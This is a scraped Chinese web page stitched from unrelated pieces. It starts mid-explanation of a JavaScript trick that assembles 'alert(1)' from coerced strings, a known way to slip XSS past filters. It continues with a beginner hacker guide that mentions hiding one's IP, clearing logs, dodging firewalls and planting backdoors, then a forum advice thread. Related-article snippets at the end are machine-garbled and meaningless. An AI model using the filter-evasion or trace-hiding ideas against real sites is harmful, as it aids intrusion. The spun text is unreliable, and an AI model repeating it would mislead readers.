的取值系统中提取出大部分字母(不知道是不是全部,需要考证)。并且,我们获取到了window的引用。下面就可以开始上下其手,为所欲为了。木哈哈哈哈哈! 可以看出,上面的第10步是与浏览器的具体实现相关的,因此也存在着某些浏览器下需要对代码作出修改的可能。 现在看第二部分,事实上已经非常明朗了,唯一需要注意的是,现在$是一个函数,因此~$ = ~0 (无法直接转换为数字则作为0处理) = -1。 [__[_/_]+__[_+~$]+$_[_]+$$](_/_) = ["false"[1]+"false"[3+(-1)]+"true"[3]+"rt"](1) = ["a"+"l"+"e"+"rt"](1)所以,整条式子相当于:

黑客要知道些什么基本知识?

一、学习技术:

互联网上的新技术一旦出现,黑客就必须立刻学习,并用最短的时间掌握这项技术,这里所说的掌握并不是一般的了解,而是阅读有关的“协议”(rfc)、深入了解此技术的机理,否则一旦停止学习,那么依靠他以前掌握的内容,并不能维持他的“黑客身份”超过一年。

初级黑客要学习的知识是比较困难的,因为他们没有基础,所以学习起来要接触非常多的基本内容,然而今天的互联网给读者带来了很多的信息,这就需要初级学习者进行选择:太深的内容可能会给学习带来困难;太“花哨”的内容又对学习黑客没有用处。所以初学者不能贪多,应该尽量寻找一本书和自己的完整教材、循序渐进的进行学习。

二、伪装自己:

黑客的一举一动都会被服务器记录下来,所以黑客必须伪装自己使得对方无法辨别其真实身份,这需要有熟练的技巧,用来伪装自己的IP地址、使用跳板逃避跟踪、清理记录扰乱对方线索、巧妙躲开防火墙等。

伪装是需要非常过硬的基本功才能实现的,这对于初学者来说成的上“大成境界”了,也就是说初学者不可能用短时间学会伪装,所以我并不鼓励初学者利用自己学习的知识对网络进行攻击,否则一旦自己的行迹败露,最终害的害是自己。

如果有朝一日你成为了真正的黑客,我也同样不赞成你对网络进行攻击,毕竟黑客的成长是一种学习,而不是一种犯罪。

三、发现漏洞:

漏洞对黑客来说是最重要的信息,黑客要经常学习别人发现的漏洞,并努力自己寻找未知漏洞,并从海量的漏洞中寻找有价值的、可被利用的漏洞进行试验,当然他们最终的目的是通过漏洞进行破坏或着修补上这个漏洞。

黑客对寻找漏洞的执著是常人难以想象的,他们的口号说“打破权威”,从一次又一次的黑客实践中,黑客也用自己的实际行动向世人印证了这一点--世界上没有“不存在漏洞”的程序。在黑客眼中,所谓的“天衣无缝”不过是“没有找到”而已。

四、利用漏洞:

对于正派黑客来说,漏洞要被修补;对于邪派黑客来说,漏洞要用来搞破坏。而他们的基本前提是“利用漏洞”,黑客利用漏洞可以做下面的事情:

1、获得系统信息:有些漏洞可以泄漏系统信息,暴露敏感资料,从而进一步入侵系统;

2、入侵系统:通过漏洞进入系统内部,或取得服务器上的内部资料、或完全掌管服务器;

3、寻找下一个目标:一个胜利意味着下一个目标的出现,黑客应该充分利用自己已经掌管的服务器作为工具,寻找并入侵下一个系统;

4、做一些好事:正派黑客在完成上面的工作后,就会修复漏洞或者通知系统管理员,做出一些维护网络安全的事情;

5、做一些坏事:邪派黑客在完成上面的工作后,会判断服务器是否还有利用价值。如果有利用价值,他们会在服务器上植入木马或者后门,便于下一次来访;而对没有利用价值的服务器他们决不留情,系统崩溃会让他们感到无限的快感!

第二节、黑客应掌握的基本技能

从这一节开始,我们就真正踏上学习黑客的道路了,首先要介绍的是作为一名初级黑客所必须掌握的基本技能,学习这可以通过这一节的阅读了解到黑客并不神秘,而且学习起来很容易上手。为了保证初学者对黑客的兴趣,所以本书采取了循环式进度,也就是说每一章节的内容都是独立、全面的,学习者只有完整的学习过一章的内容,才能够进而学习下一章的内容。

一、了解一定量的英文:

学习英文对于黑客来说非常重要,因为现在大多数资料和教程都是英文版本,而且有关黑客的新闻也是从国外过来的,一个漏洞从发现到出现中文介绍,需要大约一个星期的时间,在这段时间内网络管理员就已经有足够的时间修补漏洞了,所以当我们看到中文介绍的时候,这个漏洞可能早就已经不存在了。因此学习黑客从一开始就要尽量阅读英文资料、使用英文软件、并且及时关注国外著名的网络安全网站。

二、学会基本软件的使用:

这里所说的基本软件是指两个内容:一个是我们日常使用的各种电脑常用命令,例如ftp、ping、net等;另一方面还要学会有关黑客工具的使用,这主要包括端口扫描器、漏洞扫描器、信息截获工具和密码破解工具等。因为这些软件品种多,功能各不相同,所以本书在后面将会介绍几款流行的软件使用方法,学习者在掌握其基本原理以后,既可以选择适合自己的,也可以在“第二部分”中找到有关软件的开发指南,编写自己的黑客工具。

三、初步了解网络协议和工作原理:

所谓“初步了解”就是“按照自己的理解方式”弄明白网络的工作原理,因为协议涉及的知识多且复杂,所以如果在一开始就进行深入研究,势必会大大挫伤学习积极性。在这里我建议学习者初步了解有关tcp/ip协议,尤其是浏览网页的时候网络是如何传递信息、客户端浏览器如何申请“握手信息”、服务器端如何“应答握手信息”并“接受请求”等内容,此部分内容将会在后面的章节中进行具体介绍。

四、熟悉几种流行的编程语言和脚本:

同上面所述一样,这里也不要求学习者进行深入学习,只要能够看懂有关语言、知道程序执行结果就可以了。建议学习者初步学习C语言、asp和cgi脚本语言,另外对于htm超文本语言和php、java等做基本了解,主要学习这些语言中的“变量”和“数组”部分,因为语言之间存在内在联系,所以只要熟练掌握其中一们,其他语言也可以一脉相同,建议学习C语言和htm超文本语言。

五、熟悉网络应用程序:

网络应用程序包括各种服务器软件后台程序,例如:wuftp、Apache等服务器后台;还有网上流行的各种论坛、电子社区。有条件的学习者最好将自己的电脑做成服务器,然后安装并运行一些论坛代码,经过一番尝试之后,将会感性的弄清楚网络工作原理,这比依靠理论学习要容易许多,能够达到事半功倍的效果

/本篇文章来源于 新贵网 原文出处:

谁叫我学红客!!那位热心的哥哥或叔叔愿意帮我!

2L 你理解错了 怎么会没前途 关于这方面 就是自己的兴趣与爱好

关于黑客 给楼主的建议

1 不要轻信网上所谓的黑客 高手

关于收徒这方面 有很多骗子 只叫你拿钱给他 它才教你

很多自称是黑客的人会盗QQ 刷砖 呵呵 这也叫黑客?

黑客明明是种精神 却被这些人玷污 这些人也不能说是骇客 而是拿别人工具的脚本小子

2.看准你的方向 黑客涉猎很广的科目

涉及多系统 多种编写语言 物理硬件 以及网络协议等方面

劝你在学习红客前确定你的目标 看准目标而上不要什么都懂 什么都不会

3有兴趣

没有兴趣还学什么?有兴趣我希望你还有一定道德情操 假使有朝一日你发达了 厉害了

不要玷污黑客这个名声

4关于学习

前期可以 到一些网站上学习基础 了解基础(不要一点没基础 至少懂得怎样解决难题)

中期学习别人的思想 逐渐建立自己的思想 学习怎么去读 去改 前人写下的代码

在后面 我还是不知道了....没到这境界来

5学习遇到难题

首先的自己试着解决 实在不行才去收索资料 (吐槽:我一同学啥都不懂 基础为零

电脑认识是打cf 每天缠着我给他讲 把我都弄烦了 往往是我讲10词 他有8处不会 叫他

搜资料 他连搜资料都要我帮忙 你说基础重要不?)

6坚持

说真的 学着挺枯燥的 面前一大堆的代码需要些 有没有头绪 根本没有电影中那么神奇

一行一行的代码整齐刷出来的时候是少数时候 更多的时候是你在电脑面前 改错 改错

简化 简化 如果不是兴趣的话 我肯定早放弃了

7 以上

以上是我个人经验吧 供你参考参考

扫描二维码推送至手机访问。

版权声明:本文由万物知识分享发布,如需转载请注明出处。

本文链接:http://qmsspa.com/105737.html

分享给朋友:

“教你一行代码伪装黑客(一串代码让你伪装黑客)” 的相关文章

30天学会在shopify上开店之安装谷歌分析工具和FB像素—Day19

昨天要说的是装置 google剖析 对象 战FB像艳。 入进analytics.谷歌.com,登录google账号今后 ,要先注册google剖析 对象 。然后要挖写账号称号好比 MyFlowerStore,便利 今后 本身 鉴别 ;网站称号,要用google剖析 对象 剖析 的网站称号;网站网址...

做国外广告联盟新人常见问题

 一.外洋 网站若何 支款?用的比拟 多的是paypal,ACH。  二.作外洋 网站须要 英文站吗?申请外洋 告白 同盟 年夜 部门 是须要 的,假如 您是经由过程 购流质或者社接流质来拉广,便没有须要 网站。  三.美国税号是甚么?美国税号是外洋 的税号,正常正在 五 七 九 八找人购置 否以购...

30天学会在shopify上开店之手动出价—Day22

昨天咱们要说的是脚动没价。 您应该据说 过脚动没价的相闭术语吧,FB也更新了他们敌手 动没价的称谓 。 交高去,尔会学您们若何 创立 告白 系列,若何 抉择转移质为目的 ,以及脚动没价是甚么意义,何时须要 用得手 动没价等。 入进告白 治理 对象 ,点击Create创立 新告白 系列: 抉择告白...

seo是什么意思他到底有什么用处(seo的作用和意义是什么)

seo是什么意思他到底有什么用处(seo的作用和意义是什么)

许多 新脚搜索引擎优化 方才 打仗 搜索引擎优化 ,对付 搜索引擎优化 是甚么意义?感化 是甚么?没有是很相识 ,昨天火源智库小编便为年夜 野具体 先容 一高。 搜索引擎优化 是甚么意义?搜索引擎优化 英文齐称为“Search Eng...

深圳自考大专需要什么条件(深圳自考大专总共要多少钱)

深圳自考大专需要什么条件(深圳自考大专总共要多少钱)

许多 自考新熟最头痛的便是抉择业余战院校。尔该怎么办?  一.年夜 一新熟若何 抉择业余战黉舍 ? 深圳否以报考的业余有许多 ,好比 :止政治理 、人力资本 治理 、工商治理 、工商治理 、教前学育、管帐 、汉说话 文教、电子商务、望觉转达 设计等。主考院校有:华北师范年夜 教、暨北年...

自媒体免费玩法运营(宋九九博客自媒体简介)

宋九暂的专客次要以湿货分享为主,异时注意小我 品牌战小我 IP的挨制。 olor: rgb( 二 五 五,  二 五 五,  二 五 五);text-indent:  二em; 八 二 二 一;>宋九九,无名的自媒体人,也是外国拜访 质最年夜 的自力 专客之一,存眷 收集 营销拉广引流、网...

评论列表

只影笑惜
2年前 (2023-02-11)

-2) = -~2 = -(-3) = 3 理论上,可以用这种方式得出1-9所有数字4. !''是true,使用+$将其变为字符串 "true"5. 这里需要注意的是,之前一直用“值+[]”来获得“值”的字符串形式。而“+[]”则是0(正号导致[]被自动转换为数值0)。

礼忱矫纵
2年前 (2023-02-11)

你写了第一个for循环,它也可以进行调试,当你又写了一个分配内存、释放内存以后,它还可以进行调试。它可以编译运行,里面可以放断点,这就是成对编码。成对编码就涉及到代码规范的问题。为什么我说上面一个大括号,下面一个大括号,而不说成是前面一个大括号,后面一个大括号呢?如果

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。